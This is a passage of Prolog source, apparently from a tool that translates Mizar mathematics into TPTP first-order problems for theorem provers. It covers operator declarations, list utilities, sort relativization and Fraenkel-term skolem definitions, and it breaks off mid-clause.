op(405,xfx,'~='),\n    op(450,fy,~),\n    op(502,xfy,'|'),\n    op(502,xfy,'~|'),\n    op(503,xfy,&),\n    op(503,xfy,~&),\n    op(504,xfy,=>),\n    op(504,xfy,<=),\n    op(505,xfy,<=>),\n    op(505,xfy,<~>),\n%----! and ? are of higher precedence than : so !X:p(X) is :(!(X),p(X))\n%----Otherwise !X:!Y:p(X,Y) cannot be parsed.\n    op(400,fx,!),\n    op(400,fx,?),\n%----Need : stronger than + for equality and otter in tptp2X\n%----Need : weaker than quantifiers for !X : ~p\n    op(450,xfy,:),\n%---- .. used for range in tptp2X. Needs to be stronger than :\n    op(400,xfx,'..').\n\n:- declare_TPTP_operators.\nlogic_syms([++,--,'$',~,'|','~|',true,&,~&,=>,<=,<=>,<~>,!,?,:,'..',sort,all,'.',[]]).\n\n%% uncomment this for E prover versions earlier than 0.9\n% portray(A = B):- format(' equal(~p,~p) ',[A,B]).\nportray(~A):- write(' ~ ('), print(A), write(') ').\nportray(A & B):- format(' (~p & ~p) ',[A,B]).\nportray(A | B):- format(' (~p | ~p) ',[A,B]).\nportray(A => B):- format(' (~p => ~p) ',[A,B]).\nportray(A <=> B):- format(' (~p <=> ~p) ',[A,B]).\nportray(A : B):- var(A), format(' ( ~p : ~p) ',[A,B]).\nportray(! A : B):- format(' (! ~p : ~p) ',[A,B]).\nportray(? A : B):- format(' (? ~p : ~p) ',[A,B]).\nportray(A):- atom(A), constr_name(A,Name,Quote),\n\t((Quote==0, write(Name));\n\t    (Quote==1, write(''''),write(Name),write(''''))).\nportray(A):- atom(A), abs_name(A,Name), write(Name).\nportray(A):- compound(A), A =.. [F|L], constr_name(F,Name,Quote),\n\t((Quote==0, write(Name));\n\t    (Quote==1, write(''''),write(Name),write(''''))),\n\twrite('('), print_many(L), write(')').\n\nprint_many([]).\nprint_many([X]):- print(X),!.\nprint_many([X|Y]):- print(X), write(','), print_many(Y).\n\n% explain tstp parsing\nd2l(X,X):- atomic(X);var(X).\nd2l([],[]).\nd2l(X,Y):- X =.. Z, d2ls(Z,Y).\nd2ls([],[]).\nd2ls([H|T],[H1|T1]):- d2l(H,H1), d2ls(T,T1).\n\nterm2list(X,X):- (atomic(X);var(X)),!.\nterm2list(X,[H|T1]):- X =.. [H|T], maplist(term2list,T,T1).\n\ndeclare_mptp_predicates:-\n abolish(fof/4),\n abolish(fof/5),\n abolish(theory/2),\n abolish(constr_name/3),\n multifile(fof/4),\n multifile(fof/5),\n dynamic(fof/5),\n dynamic(constr_name/3),\n multifile(constr_name/3),\n multifile(theory/2),\n abolish(fof_name/2),\n abolish(fof_file/2),\n abolish(fof_eq_def/2),\n abolish(fof_section/2),\n abolish(fof_level/2),\n abolish(fof_toplevel/2),\n abolish(fof_newlevel/3),\n dynamic(fof_newlevel/3),\n abolish(fof_parentlevel/2),\n dynamic(fof_parentlevel/2),\n abolish(fof_cluster/3),\n dynamic(fof_cluster/3),\n abolish(fof_identifyexp/3),\n dynamic(fof_identifyexp/3),\n abolish(rc_syms_for_consider/7),\n abolish(fof_req/3),\n dynamic(fof_req/3),\n abolish(sym_ref_graph/2),\n dynamic(sym_ref_graph/2),\n abolish(fof_ante_sym_cnt/4),\n dynamic(fof_ante_sym_cnt/4),\n abolish(abs_name/2),\n dynamic(abs_name/2),\n abolish(miz_errors/1),\n dynamic(miz_errors/1),\n abolish(fof_redefines/4),\n dynamic(fof_redefines/4),\n abolish(fraenkel_cached/3),\n dynamic(fraenkel_cached/3),\n abolish(fraenkels_loaded/1),\n dynamic(fraenkels_loaded/1),\n abolish(sch_orig_copy/2),\n dynamic(sch_orig_copy/2),\n abolish(articles_numbered/1),\n dynamic(articles_numbered/1),\n abolish(article_position/2),\n dynamic(article_position/2),\n abolish(fxp_refsin_/1),\n dynamic(fxp_refsin_/1),\n abolish(fxp_allsyms_/1),\n dynamic(fxp_allsyms_/1),\n abolish(zerotyp/2),\n multifile(zerotyp/2),\n dynamic(zerotyp/2),\n abolish(nonzerotyp/2),\n multifile(nonzerotyp/2),\n dynamic(nonzerotyp/2),\n abolish(rec_sch_inst_name/2),\n dynamic(rec_sch_inst_name/2).\n% index(fof(1,1,0,1,1)),\n% index(fof(1,1,0,1)).\n\n%% this makes things very slow, do not use it\n% index(fof_name(1,1)).\n\n%% collect subterms satisfying P with count, test by equality\ncollect_with_count_top(Pred,Term,OutList,OutCounts):-\n\tcollect_with_count(Pred,Term,[],[],OutList,OutCounts),!.\ncollect_with_count(P,X,In,InC,Out,OutC):-\n\t(var(X);atomic(X)), !, collect_with_count1(P,X,In,InC,Out,OutC).\n%% neglects the head functor!\ncollect_with_count(P,X,In,InC,Out,OutC):-\n\tcollect_with_count1(P,X,In,InC,Out1,OutC1),\n\tX =.. [_|T1],\n\tcollect_with_countl(P,T1,Out1,OutC1,Out,OutC).\ncollect_with_countl(_,[],In,InC,In,InC).\ncollect_with_countl(P,[H|T],In,InC,Out,OutC):-\n\tcollect_with_count(P,H,In,InC,Out1,OutC1),\n\tcollect_with_countl(P,T,Out1,OutC1,Out,OutC).\n\n%% do the collecting\ncollect_with_count1(P,X,In,InC,Out,OutC):- apply(P,[X]),!,\n\t(enth1(N,In,X) ->\n\t    (Out = In, remove_at(C_X,InC,N,Tmp),\n\t\tsucc(C_X,C1_X), insert_at(C1_X,Tmp,N,OutC));\n\t    (Out = [X|In], OutC = [1|InC])).\ncollect_with_count1(_,_,In,InC,In,InC).\n\n%% exact select\neselect(A, [C|B], B):- A == C,!.\neselect(A, [B|C], [B|D]):- eselect(A, C, D).\n%% exact nth1\nenth1(A, B, C):- var(A), !, enth_gen(B, C, 1, A).\nenth_gen([A|_], A1, C, C):- A == A1.\nenth_gen([_|B], C, D, E) :-\n        succ(D, F),\n        enth_gen(B, C, F, E).\n\n%% remove K-th element (1-based)\n% remove_at(X,L,K,R) :- X is the K'th element of the list L; R is the\n%    list that remains when the K'th element is removed from L.\n%    (element,list,integer,list) (?,?,+,?)\nremove_at(X,[X|Xs],1,Xs).\nremove_at(X,[Y|Xs],K,[Y|Ys]) :- K > 1,\n   K1 is K - 1, remove_at(X,Xs,K1,Ys).\n\n% Insert an element at a given position into a list (1-based)\n% insert_at(X,L,K,R) :- X is inserted into the list L such that it\n%    occupies position K. The result is the list R.\n%    (element,list,integer,list) (?,?,+,?)\ninsert_at(X,L,K,R) :- remove_at(X,R,K,L).\n\n% Split a list into two parts\n% split(L,N,L1,L2) :- the list L1 contains the first N elements\n%    of the list L, the list L2 contains the remaining elements.\n%    (list,integer,list,list) (?,+,?,?)\nsplit(L,0,[],L).\nsplit([X|Xs],N,[X|Ys],Zs) :- N > 0, N1 is N - 1, split(Xs,N1,Ys,Zs).\n\n%% Digit is a digit character\n%% digit(Digit):- member(Digit, ['0','1','2','3','4','5','6','7','8','9']).\n\ndigit('0'). digit('1'). digit('2'). digit('3'). digit('4').\ndigit('5'). digit('6'). digit('7'). digit('8'). digit('9').\n\n%% mptp_func with args\nmptp_func(X):- X =..[H|_],mptp_func_sym(H).\nground_mptp_func(X):- ground(X),mptp_func(X).\nsch_symbol(X):- atom_chars(X,[F|_]),member(F,[f,p]).\nmptp_local_const(X):- atom_chars(X,[c|_]).\nmptp_func_sym(X):- atom_chars(X,[F|_]),member(F,[k,g,u,'0','1','2','3','4','5','6','7','8','9']).\nmptp_attr_sym(X):- atom_chars(X,[v|_]).\nmptp_mode_sym(X):- atom_chars(X,[F|_]),member(F,[m,l]).\nmptp_attr_or_mode_sym(X):- atom_chars(X,[F|_]),member(F,[v,m,l]).\nmptp_req_name(X):- atom_chars(X,[r,q|_]).\nmptp_fraenkel_sym(X):- atom_chars(X,[a|_]).\nmptp_choice_sym(X):- atom_chars(X,[o|_]).\n%% collect ground counts into buk/3, stack failure otherwise\n%% then print and run perl -e 'while(<>) { /.([0-9]+), (.*)./; $h{$2}+=$1;} foreach $k (sort {$h{$b} <=> $h{$a}} (keys %h)) {print \"$h{$k}:$k\\n\";}'\n%% on the result\nget_ground_info:-\n\tfof(Ref,_,Fla,file(_,_), [mptp_info(_,_,theorem,_,_)|_]),\n\tcollect_with_count_top(ground_mptp_func,Fla,Out,OutC),\n\tnot(buk(Ref,_,_)),assert(buk(Ref,Out,OutC)),\n\tfail.\nprint_ground_info:-\n\ttell('00ground'),\n\tfindall(e,(buk(_,B,C),zip(C,B,S),findall(d,(member(X,S),print(X),nl),_)),_),\n\ttold.\n\n\n%% collect nonvar symbols from term\ncollect_symbols_top(X,L):-\n\tcollect_symbols(X,L1),!,\n\tflatten(L1,L2),\n\tsort(L2,L).\ncollect_symbols(X,[]):- var(X),!.\ncollect_symbols(X,[X]):- atomic(X),!.\ncollect_symbols(X1,T2):-\n\tX1 =.. [H1|T1],\n\tmaplist(collect_symbols,T1,T3),\n\tflatten(T3,T4),\n\tsort([H1|T4],T2).\n\nunion1([],In,In).\nunion1([H|T],In,Out):-\n\tunion(H,In,R1),\n\tunion1(T,R1,Out).\n\n\n%% check_if_symbol(+Term,+Symbol)\n%%\n%% faster check for a symbol than collecting\n%% e.g. check_if_symbol(Fla,all) checks for a fraenkel term\ncheck_if_symbol(X,_):- var(X),!,fail.\ncheck_if_symbol(X, S):- atomic(X),!, X == S.\ncheck_if_symbol(X1,S):-\n\tX1 =.. [H1|T1],\n\t(\n\t  H1 = S,!\n\t;\n\t  check_if_symbol_l(T1,S)\n\t).\n\ncheck_if_symbol_l([H|_],S):- check_if_symbol(H,S),!.\ncheck_if_symbol_l([_|T],S):- check_if_symbol_l(T,S),!.\t\n\n\n%%%%%%%%%%%%%%%%%%%% Sort relativization %%%%%%%%%%%%%%%%%%%%\n\n% return the list of quantified variables and conjunction of predicates\nsort_transform_qlist([],[],$true).  % needed only for fraenkel\nsort_transform_qlist([X:S],[X],S1):- !,\n\tsort_transform(sort(X,S),S1).\nsort_transform_qlist([(X:S)|T],[X|Qvars1],SortPreds1):-\n\tsort_transform(sort(X,S),S1),\n\tsort_transform_qlist(T,Qvars1,Preds1), !,\n\t(\n\t  S1 == $true -> SortPreds1 = Preds1;\n\t  (\n\t    Preds1 == $true -> SortPreds1 = S1;\n\t    SortPreds1 = (S1 & Preds1)\n\t  )\n\t).\n\n\n% to forbid backtracking\nsort_transform_top(X,Y):- sort_transform(X,Y), !.\n% end of traversal\nsort_transform(X,X):- atomic(X); var(X).\n\n% do sort relativization, and simple removal of $true\nsort_transform(! Svars : Y, Result):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Y,Y1), !,\n\t(\n\t  Y1 == $true -> Result = $true;\n\t  Result = (! Qvars : UnivRelat),\n\t  (\n\t    Preds == $true -> UnivRelat = Y1;\n\t    UnivRelat = (Preds => Y1)\n\t  )\n\t).\nsort_transform(? Svars : Y, Result):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Y,Y1), !,\n\t(\n\t  Preds == $true ->\n\t  (\n\t    Y1 == $true -> Result = $true;\n\t    Result = (? Qvars : Y1)\n\t  )\n\t;\n\t  (\n\t    Y1 == $true -> Result = (? Qvars : Preds);\n\t    Result = (? Qvars : (Preds & Y1))\n\t  )\n\t).\n% This clause is redundant now, sort trafo can be done only after 'all' removal\nsort_transform(all(Svars,Trm,Frm),all(Qvars,Trm1,RelatFrm1)):-\n\tsort_transform_qlist(Svars,Qvars,Preds),\n\tsort_transform(Trm,Trm1),\n\tsort_transform(Frm,Frm1), !,\n\t(\n\t  Preds == $true -> RelatFrm1 = Frm1;\n\t  RelatFrm1 = (Preds & Frm1)\n\t).\nsort_transform(sort(X,Y1 & Y2),SortPreds):-\n\tsort_transform(sort(X,Y1),Z1),\n\tsort_transform(sort(X,Y2),Z2), !,\n\t(\n\t  Z1 == $true -> SortPreds = Z2;\n\t  (\n\t    Z2 == $true -> SortPreds = Z1;\n\t    SortPreds = (Z1 & Z2)\n\t  )\n\t).\nsort_transform(sort(X,~Y),~Z):-\n\tsort_transform(sort(X,Y),Z).\nsort_transform(sort(_,$true),$true).\nsort_transform(sort(_,$false),$false).\nsort_transform(sort(X,Y),Z):-\n\tY =.. [F|Args],\n\tmaplist(sort_transform,[X|Args],Args1),\n\tZ =.. [F|Args1].\n% we should not get here\nsort_transform(sort(_,_),_):- throw(sort).\n% removal of $true\nsort_transform((A | B), Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  (A1 == $true;B1 == $true) -> Result = $true;\n\t  Result = (A1 | B1)\n\t).\nsort_transform(A & B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = A1;\n\t    Result = (A1 & B1)\n\t  )\n\t).\nsort_transform(A => B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = $true;\n\t    Result = (A1 => B1)\n\t  )\n\t).\nsort_transform(A <=> B, Result):-\n\tmaplist(sort_transform,[A,B],[A1,B1]),!,\n\t(\n\t  A1== $true -> Result = B1;\n\t  (\n\t    B1== $true -> Result = A1;\n\t    Result = (A1 <=> B1)\n\t  )\n\t).\n% functor traversal\nsort_transform(X1,X2):-\n\tX1 =.. [H1|T1],\n\tmaplist(sort_transform,T1,T2),\n\tX2 =.. [H1|T2].\n\n%%%%%%%%%%%%%%%%%%%% Fraenkel de-anonymization %%%%%%%%%%%%%%%%%%%%\n\n%% First we replace fraenkels by placeholder variables which we remember, and collect\n%% the fraenkels (with their context) into a list corresponding to the variables.\n%% Then we find optimal 'skolem' definitions corresponding to the fraenkels,\n%% instantiate such functors for each frankel with its context, and\n%% put them into the formulas by unifying them with the placeholder variables.\n%% GroundCopy is kept for exact comparisons envolving context\n\n\n%% context has to be updated by the current variable before descent to the rest of variables\nall_collect_qlist([],[],C,C,[]).\nall_collect_qlist([(X:S)|T],[(X:S1)|T1],Context,NewContext,Info):-\n\tall_collect(S,S1,Context,Info_s),\n\tappend(Context,[(X:S1)],C1),\n\tall_collect_qlist(T,T1,C1,NewContext,Info_t),\n\tappend(Info_s,Info_t,Info).\n\nfr_vars(FrInfo, FrVars):- maplist(nth1(1), FrInfo, FrVars).\nsplit_svars(Vars,Sorts,Svars):- zip_s(':', Vars, Sorts, Svars).\n\n\n%% all_collect_top(+In,-Out,-Infos)\n%%\n%% Replace fraenkels in In by variables in Out, putting the needed\n%% info (for creating fraenkel defs) in Infos.\n%% Now also treats choice terms together with freankels.\nall_collect_top(In,Out,Info):- all_collect(In,Out,[],Info),!.\n\n\n%% all_collect(+InTerm,-OutTerm,+Context=[(Var:Sort1)|RestV],\n%%             -Info=[[NewVar,Context,all(Svars1,Trm1,Frm1),GroundCopy]|RestI])\n%%\n%% First we replace fraenkels by placeholder variables which we remember, and collect\n%% the fraenkels (with their context) into a list corresponding to the variables.\n%% Then we find optimal 'skolem' definitions corresponding to the fraenkels,\n%% instantiate such functors for each frankel with its context, and\n%% put them into the formulas by unifying them with the placeholder variables.\n%% GroundCopy is kept for exact comparisons envolving context.\n%% In a similar way the choice terms (the) are treated: replaced by placeholders,\n%% and collected with contexts to a list:\n%% -Info=[[NewVar,Context,the(Type1),GroundCopy]|RestI]\n\n%% end of traversal\nall_collect(X,X,_,[]):- atomic(X); var(X).\n\nall_collect(! Svars : Y, ! Svars1 : Y1, Context, Info_r):-\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info_s),\n\tall_collect(Y,Y1,NewContext,Info_y),\n\tappend(Info_s,Info_y,Info_r).\nall_collect(? Svars : Y, ? Svars1 : Y1, Context, Info_r):-\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info_s),\n\tall_collect(Y,Y1,NewContext,Info_y),\n\tappend(Info_s,Info_y,Info_r).\n% fix context!!\nall_collect(all(Svars,Trm,Frm),NewVar,Context,\n\t    [[NewVar,RContext,all(Svars1,Trm1,Frm1),GroundCopy]|Info_r]):-\n\t(optimize_fraenkel ->\n\t    (free_variables(all(Svars,Trm,Frm), FreeVars),\n\t\treal_context(FreeVars, Context, RContext));\n\t    RContext = Context),\n\tcopy_term([RContext,all(Svars,Trm,Frm)],GroundCopy),\n\tnumbervars(GroundCopy,0,_),\n\tall_collect_qlist(Svars,Svars1,Context,NewContext,Info),\n\tall_collect_l([Trm,Frm],[Trm1,Frm1],NewContext,Info_l),\n\tappend(Info,Info_l,Info_r).\n\n% unlike above, there is no qlist  here\nall_collect(the(Type),NewVar,Context,\n\t    [[NewVar,RContext,the(Type1),GroundCopy]|Info_r]):-\n\t(optimize_fraenkel ->\n\t    (free_variables(the(Type), FreeVars),\n\t\treal_context(FreeVars, Context, RContext));\n\t    RContext = Context),\n\tcopy_term([RContext,the(Type)],GroundCopy),\n\tnumbervars(GroundCopy,0,_),\n\tall_collect(Type,Type1,Context,Info_r).\n\n% this can only be used if contexts of arguments are independent!\nall_collect(X1,X2,Context,Info):-\n\tX1 =.. [H1|T1],\n\tall_collect_l(T1,T2,Context,Info),\n\tX2 =.. [H1|T2].\n\n% this can only be used if contexts of arguments are independent!\nall_collect_l([],[],_,[]).\nall_collect_l([H1|T1],[H2|T2],Context,Info_r):-\n\tall_collect(H1,H2,Context,Info),\n\tall_collect_l(T1,T2,Context,Info_l),\n\tappend(Info,Info_l,Info_r).\n\n%% only select context necessary for InVars from BigC\n%% done by copy & number to avoid freevars\nis_numvar(X):- ground(X), X=..['$VAR'|_].\n\n\n%% add variables recursively needed for New (i.e. in their sorts)\n%% AllVars and AllSorts must be aligned\nadd_real_numvars(_,_,Old,[],Old).\nadd_real_numvars(AllVars,AllSorts,Old,New,Result):-\n\tappend(Old,New,Old1),\n\tfindall(S, (member(V,New),nth1(N,AllVars,V),nth1(N,AllSorts,S)), Srts0),\n\tcollect_with_count_top(is_numvar,Srts0,New0,_),\n\tintersection(AllVars,New0,New1),\n\tsubtract(New1,Old1,New2),\n\tadd_real_numvars(AllVars,AllSorts,Old1,New2,Result).\n\n%% real_context(+InVars, +BigC, -RealC)\n%% puts the \"really needed\" variables from BigContext into RealContext\n%% BigC and RealC are lists of Var:Sort\n%% bagof needed in the end instead of findall! (not to spoil freevars);\n%% hence the alternative - bagof fails with empty list unlike findall\n%% N1^ is needed for bagof not to bind N1\nreal_context(InVars, BigC, RealC):-\n\tsplit_svars(Vars,Sorts,BigC),\n\tcopy_term([InVars,Vars,Sorts],[InVars1,Vars1,Sorts1]),\n\tnumbervars([InVars1,Vars1,Sorts1],0,_),\n\tintersection(Vars1,InVars1,Added),\n\tadd_real_numvars(Vars1,Sorts1,[],Added,AllAdded),\n\t(AllAdded = [] -> RealC = [];\n\t    (findall(N, (member(V,AllAdded),nth1(N,Vars1,V)), Nrs),\n\t\tsort(Nrs,Nrs1),\n\t\tbagof(C, (N1^member(N1,Nrs1),nth1(N1,BigC,C)), RealC))).\n\n\n% ##todo: this now assumes that length of Context is number of\n%       preceding variables - fix for other quantification formats\n% create freankel (skolem) definition:\n% all([X1,X2:integer], plus(X1,X2), (X1 < X2)) generates:\n% ![X]:( in(X,fraenkel_skolem_functor_1) <=>\n%         ?[X1,X2:integer]:( X = plus(X1,X2) & X1 < X2))\n% Take care with variables, context is shared with formulas,\n% newvars are used as placeholders for other fraenkels.\n% +Info=[[NewVar,Context,all(Svars1,Trm1,Frm1),GroundCopy]|RestI])\n% where GroundCopy is cretaed in all_collect by following:\n% copy_term([RContext,all(Svars,Trm,Frm)],GroundCopy),\n% numbervars(GroundCopy,0,_),\n% which means that two fraenkels with the same GroundCopy are\n% the same (because the RContext is complete, and all symbol names\n% are absolute inside one article)\n% +FrInfo, -NewFrInfo ... unordered list of\n% lists of Fraenkel symbols starting with their arity, e.g.:\n% [[0|FrSymsOfArity_0],[2|FrSymsOfArity_2],[1|FrSymsOfArity_1]],\n\n\n%% new_fr_sym(+File, +Arity, +FrInfo, -NewFrInfo, -NewSym)\n%%\n%% Note that the fraenkel and choice symbols are now treated together,\n%% even though fraenkels start with 'a' and choices with 'o'. So the\n%% numbering is contiguous across both now.\nnew_fr_sym(File, Arity, FrInfo, NewFrInfo, NewSym):-\n\t% find the sublist of symbols with Arity\n\t( select([Arity|FrSyms], FrInfo, TmpInfo);\n\t    ( FrSyms = [], TmpInfo = FrInfo )),\n\tlength(FrSyms, Nr),\n\tconcat_atom([a,Arity,Nr,File], '_', NewSym),\n\t% update the sublist of symbols with Arity\n\tselect([Arity,NewSym|FrSyms], NewFrInfo, TmpInfo), ! .\n\nnew_the_sym(File, Arity, FrInfo, NewFrInfo, NewSym):-\n        % find the sublist of symbols with Arity\n\t( select([Arity|FrSyms], FrInfo, TmpInfo);\n\t    ( FrSyms = [], TmpInfo = FrInfo )),\n\tlength(FrSyms, Nr),\n\tconcat_atom([o,Arity,Nr,File], '_', NewSym),\n\t% update the sublist of symbols with Arity\n\tselect([Arity,NewSym|FrSyms], NewFrInfo, TmpInfo), ! .\n\n%% now also allows re-creating the def from a cached symbol name,\n%% if NewSym is not a variable\nmk_fraenkel_def(File, Var, Context, all(Svars1,Trm1,Frm1),\n\t\tFrInfo, NewFrInfo, NewSym, Def) :-\n\tsplit_svars(Vars, _, Context),\n\tlength(Vars, Arity),\n\t(var(NewSym) ->\n\t    new_fr_sym(File, Arity, FrInfo, NewFrInfo, NewSym)\n\t;\n\t    NewFrInfo = FrInfo\n\t),\n\tFrTrm =.. [NewSym|Vars],\n\tInPred =.. [r2_hidden, X, FrTrm],\n\tExFla = ( ? Svars1 : ( ( X = Trm1 ) & Frm1)),\n\tDef = ( ! [(X : $true)|Context] : ( InPred <=> ExFla ) ),\n\tVar = FrTrm.\n\n%% version for choiceterms (keeping the name of predicate for simplicity)\n%% now also allows re-creating the def from a cached symbol name,\n%% if NewSym is not a variable\nmk_fraenkel_def(File, Var, Context, the(Type1),\n\t\tFrInfo, NewFrInfo, NewSym, Def) :-\n\tsplit_svars(Vars, _, Context),\n\tlength(Vars, Arity),\n\t(var(NewSym) ->\n\t    new_the_sym(File, Arity, FrInfo, NewFrInfo, NewSym)\n\t;\n\t    NewFrInfo = FrInfo\n\t),\n\tChoiceTrm =.. [NewSym|Vars],\n\tSrtFla = sort(ChoiceTrm, Type1),\n\t(Arity = 0 ->\n\t Def = SrtFla\n\t;\n\t Def = ( ! Context: SrtFla )\n\t),\n\tVar = ChoiceTrm.\n\n%% mk_fraenkel_defs_top(+File, +Infos, -NewFrSyms, -NewDefs)\n%%\n%% Using Infos created by all_collect_top, fraenkels are defined\n%% and instantiated in the formulas (sharing vars with infos).\n%% The NewSym and GroundCopy of already created defs are passed in the loop,\n%% and the GroundCopy is checked first for being in the list when\n%% creating a new fraenkel def. If it already exists, the old symbol is\n%% used. This can hopefully be used to keep the naming of\n%% fraenkels stable across various invocations (e.g. when working only\n%% with article's exported items vs. when working with the full article) -\n%% remembering of these pairs across such invocations seems to be enough.\n%% NewDefs is a list of pairs [DefinedSymbol, Def] now\n\n/* old noncaching version to be removed after checks\nmk_fraenkel_defs_top(File, Infos, NewFrSyms, NewDefs):-\n\tmk_fraenkel_defs(File, Infos, [], [], NewFrSyms, NewDefs),!.\n\nmk_fraenkel_defs(_, [], _, FrSyms, FrSyms, []).\nmk_fraenkel_defs(File, [[V,C,_,GrC]|T], GrCopies, FrSyms, NewFrSyms, Defs):-\n\tmember([FoundSym,GrC], GrCopies), !,\n\tsplit_svars(Vars, _, C),\n\tV =.. [FoundSym|Vars],\n\tmk_fraenkel_defs(File, T, GrCopies, FrSyms, NewFrSyms, Defs).\n\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopies, FrSyms,\n\t\t NewFrSyms, [[NewSym,D]|Defs]):-\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms1, NewSym, D),\n\tmk_fraenkel_defs(File, T, [[NewSym,GrC]|GrCopies],\n\t\t\t FrSyms1, NewFrSyms, Defs).\n*/\n\n\n\n%% updates the fraenkel_cached predicate\n%% note that NewFrSyms is the new cached version, and does not\n%% necessarily correspond to NewDefs (i.e. some defs might\n%% not be created)\nmk_fraenkel_defs_top(File, Infos, NewFrSyms, NewDefs):-\n\t(fraenkel_cached(File, CachedGround0, CachedFrSyms0) ->\n\t    CachedGround = CachedGround0,\n\t    CachedFrSyms = CachedFrSyms0\n\t;\n\t    CachedGround = [],\n\t    CachedFrSyms = []\n\t),\n\t%% GrCopiesOut and CachedGround will generally overlap after this,\n\t%% doing union is OK\n\tmk_fraenkel_defs(File, Infos, [], GrCopiesOut, CachedFrSyms, CachedGround, NewFrSyms, NewDefs),!,\n\tunion(CachedGround, GrCopiesOut, NewCachedGround),\n\tretractall(fraenkel_cached(File, _, _)),\n\tassert(fraenkel_cached(File, NewCachedGround, NewFrSyms)).\n\nmk_fraenkel_defs(_, [], GrCopiesIn, GrCopiesIn, FrSyms, _, FrSyms, []).\n\n%% first check for being \"totally processed\"\nmk_fraenkel_defs(File, [[V,C,_,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs):-\n\tmember([FoundSym,GrC], GrCopiesIn), !,\n\tsplit_svars(Vars, _, C),\n\t% this is where the variable gets instantiated to the fraenkel functor applied to context\n\tV =.. [FoundSym|Vars],\n\tmk_fraenkel_defs(File, T, GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs).\n\n%% if cached, create the def and put the GroundCopy into normal GrCopies,\n%% so that the def is not created again (it will get caught by the previous clause).\n%% FrSyms are unchanged, because they contain CachedSym already\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, \n\t\t NewFrSyms, [[CachedSym,D]|Defs]):-\n\tmember([CachedSym,GrC], CachedGround), !,\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms, CachedSym, D),\n\tmk_fraenkel_defs(File, T, [[CachedSym,GrC]|GrCopiesIn],\n\t\t\t GrCopiesOut, FrSyms, CachedGround, NewFrSyms, Defs).\n\n%% otherwise create the new def, update both GrCopies and FrSyms\nmk_fraenkel_defs(File, [[V,C,Trm,GrC]|T], GrCopiesIn, GrCopiesOut, FrSyms, CachedGround, \n\t\t NewFrSyms, [[NewSym,D]|Defs]):-\n\tmk_fraenkel_def(File, V, C, Trm, FrSyms, FrSyms1, NewSym, D),\n\tmk_fraenkel_defs(File, T, [[NewSym,GrC]|GrCopiesIn], GrCopiesOut,\n\t\t\t FrSyms1, CachedGround, NewFrSyms, Defs).\n\n\n\n\n%%%%%%%%%%%%%%%%%%%% FOF accessors %%%%%%%%%%%%%%%%%%%%\n\n% should be unique for Ref\nget_ref_fla(Ref,Fla):- fof_name(Ref,Id),!,clause(fof(Ref,_,Fla,_,_),_,Id),!.\nget_ref_file(Ref,File):- fof_name(Ref,Id),!,clause(fof(Ref,_,_,file(File,_),_),_,Id),!.\nget_ref_fof(Ref,fof(Ref,R1,R2,R3,R4)):-\n\tfof_name(Ref,Id),!,\n\tclause(fof(Ref,R1,R2,R3,R4),_,Id),!.\n\n\n%% ref_mpropkind(?MPropKind, +Ref)\n%%\n%% Tell the MPropKind of Refs. The arguments are in the opposite order\n%% to make sublist(ref_mpropkind(Kind), RefsIn, RefsOut) calls possible.\nref_mpropkind(MPropKind, Ref):-\n\tget_ref_fof(Ref,fof(Ref,_,_,_,[mptp_info(_,_,MPropKind,_,_)|_])).\n\nref_is_rcluster(Ref):- ref_mpropkind(rcluster, Ref).\n\n%% get_sec_info_refs(+RefsIn, +Secs, +Info, -NewRefs)\n%%\n%% Find all fofs with fof_section in Secs, and Info slot as prescribed.\n%% Those not in RefsIn return in NewRefs.\n%% Is not unique for Sec and Info.\nget_sec_info_refs(RefsIn, Secs, Info, NewRefs):- !,\n\tfindall(Ref1, (member(Sec1,Secs), fof_section(Sec1,Id),\n\t\t\t  clause(fof(Ref1,_,_,file(_,Sec1), Info),_,Id)), Refs1),\n\tsubtract(Refs1, RefsIn, NewRefs).\n\n%% this was very slow for many clauses, even with maximum prolog indexing\n%% so the previous clause is used instead with homemade indexing\nget_sec_info_refs_old(RefsIn, Secs, Info, NewRefs):-\n\tfindall(Ref1, (member(Sec1,Secs), fof(Ref1,_,_,file(_,Sec1), Info)), Refs1),\n\tsubtract(Refs1, RefsIn, NewRefs).\n\nget_consider_empty_justif_types(RefsIn, ConsEmptyJustifTypes):-\n\tfindall(Type,\n\t\t(\n\t\t  member(Ref, RefsIn),\n\t\t  get_ref_fof(Ref,fof(Ref,_,_,_,\n\t\t\t\t      [mptp_info(_,_,_,_,\n\t\t\t\t\t\t [_,mizar_item(consider_justification),\n\t\t\t\t\t\t  considered_constants(Consts)|_]),\n\t\t\t\t       inference(mizar_by,_,[])|_])),\n\t\t  member(Const,Consts),\n\t\t  fof_section(Const,Id),\n\t\t  clause(fof(_,_,sort(Const,Type),file(_,Const),\n\t\t\t     [mptp_info(_,_,constant,_,[consider,type|_])|_]),_,Id)\n\n\t\t),\n\t\tConsEmptyJustifTypes).\n\n\n%%%%%%%%%%%%%%%%%%%% Background computation %%%%%%%%%%%%%%%%%%%%\n\n%% add properties for SymsIn\nget_properties(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[property(_)])|_], AddedRefs).\n\nget_existence(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[existence])|_], AddedRefs).\n\nget_redefinitions(RefsIn,SymsIn,AddedRefs):-\n\tget_sec_info_refs(RefsIn, SymsIn,\n\t\t\t  [mptp_info(_,_,_,_,[redefinition(_,_,_,_)])|_],\n\t\t\t  